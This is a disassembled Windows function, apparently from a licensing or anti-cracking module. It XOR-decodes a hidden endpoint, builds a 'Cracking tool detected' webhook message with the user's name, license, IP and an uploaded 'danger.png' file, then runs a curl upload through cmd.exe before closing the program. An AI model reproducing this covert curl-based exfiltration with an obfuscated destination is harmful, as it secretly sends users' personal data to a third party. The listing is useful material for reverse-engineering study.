Function at 0x140011e30
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
sub rsp, 0x430
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1406b82c0]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
call fcn.140012570
mov rcx, rax
call fcn.14001dd20
call fcn.140012570
mov rcx, rax
call fcn.1400197e0
test al, al
jne 0x140011eb4
mov dword [rbp], 0x2710
lea rdx, [rbp]
lea rcx, [rbp + 0x28]
call fcn.140016480
mov rcx, rax
call fcn.140016490
call fcn.140012570
mov rcx, rax
call fcn.14001dd20
call fcn.140012570
mov rcx, rax
call fcn.1400197e0
test al, al
je 0x140011e81
call fcn.140005210
lea rdx, str.danger.png
lea rcx, [rbp + 8]
call fcn.140005540
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x2d0]
call fcn.140004ef0
nop
lea rcx, [rbp + 8]
call fcn.140014ab0
lea rdx, str.curl__F__file1_
lea rcx, [rbp + 0x270]
call fcn.140005540
nop
lea rdx, str.danger.png
lea rcx, [rbp + 0x250]
call fcn.140005540
nop
movabs rax, 0xa53204b0ca01d6d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xaf58fa31ebd6f202
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xcd5c98bcefdc8d48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xc79b4157f02220ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x15df29565db86292
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xe5b5b9f695b37cdc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x178ce1ea604fd26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x637e1575d25788a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xa0c6dd036a062014
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x8ccbf706eeb83e4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5876f3daa06b5e6b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xdecfa1a36e3bcc37
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0xa4526009f519e2e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xf63d04620e4cd75b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x4428dcd18fb3ba2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x2988c6643170ef63
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x8a1d3ec3ba75a2b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x813c885e88a59b66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xe235e8ddc0b1e22b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0xb4f02e3898404588
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x27e91b676f8a53bd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xd78c8dc2a58549ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x603f8331923ccd1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0x39582ca11dcccc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0xd1eb9f7b27474d41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xd4a39336ddd24e2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x6d458095c32f0a33
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xbcabf7f05977ad50
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xc124597fc56bbba5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x9e5a701a362dfa32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x2063ace9e3c2dc47
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x2988c6643170ef14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea r8, [rbp + 0x250]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140016080
nop
lea r8, [0x1404f9f34]
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140016190
nop
lea r8, [rbp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140016190
nop
lea rcx, [rbp + 8]
call fcn.140014ab0
nop
lea rcx, [rbp + 0xc0]
call fcn.140014ab0
lea rcx, [0x140707298]
call fcn.140013e30
lea rdx, [rbp + 0x2f0]
mov rcx, rax
call fcn.1400cc510
nop
call fcn.140012570
mov rdi, rax
lea rdx, [rbp + 0x1c0]
call fcn.1400492b0
mov rbx, rax
lea r8, [rbp + 0x2f0]
lea rdx, str._n___________________________________________________embeds_:___n_____________________________________________________n_______________________________________________________title_:__Cracking_tool_detected___n_______________________________________________________description_:__Program_was_forced_to_close___n_______________________________________________________color_:_16724787__n_______________________________________________________fields_:___n_________________________________________________________n___________________________________________________________name_:__User___n___________________________________________________________value_:__
lea rcx, [rbp + 0x1a0]
call fcn.140016330
nop
lea r8, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__License___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140016190
nop
lea r8, [rbp + 0x310]
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.1400160f0
nop
lea r8, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__IP___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.140016190
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140016160
nop
lea r8, str.___n___________________________________________________________inline_:_false_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__Detected___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140016190
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1400160f0
nop
lea r8, str.___n___________________________________________________________inline_:_false_n_________________________________________________________n________________________________________________________n_____________________________________________________n____________________________________________________n________________________________________________
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140016190
nop
lea rcx, [rbp + 0xc0]
call fcn.140014ab0
nop
lea rcx, [rbp + 0x100]
call fcn.140014ab0
nop
lea rcx, [rbp + 0x120]
call fcn.140014ab0
nop
lea rcx, [rbp + 0x140]
call fcn.140014ab0
nop
lea rcx, [rbp + 0x160]
call fcn.140014ab0
nop
lea rcx, [rbp + 0x180]
call fcn.140014ab0
nop
lea rcx, [rbp + 0x1a0]
call fcn.140014ab0
nop
lea rcx, [rbp + 0x1c0]
call fcn.140014ab0
lea rcx, [0x140707298]
call fcn.140013e30
mov rdi, rax
lea rax, [rbp + 8]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 8]
call fcn.140014b80
mov rbx, rax
lea rdx, str.danger
lea rcx, [rbp + 0xe0]
call fcn.140005540
nop
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.1400caf70
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
mov dword [rbp + 0x1e0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0x1e4], 0x40
xor ebx, ebx
mov qword [rbp + 0x1e8], rbx
lea rax, [0x1404fa744]
mov qword [rbp + 0x1f0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x1f8], rax
lea r8, [rbp + 0x2b0]
lea rdx, [0x1404fa758]
lea rcx, [rbp + 0xe0]
call fcn.140016330
mov rcx, rax
call fcn.140014a60
mov qword [rbp + 0x200], rax
lea rcx, [rbp + 0xe0]
call fcn.140014ab0
mov qword [rbp + 0x208], rbx
mov dword [rbp + 0x210], ebx
mov qword [rbp + 0x218], rbx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.danger.png
lea rcx, [rbp + 8]
call fcn.140016560
nop
lea rcx, [rbp + 8]
call fcn.140002870
nop
lea rcx, [rbp + 8]
call fcn.1400023e0
call fcn.140006760
int3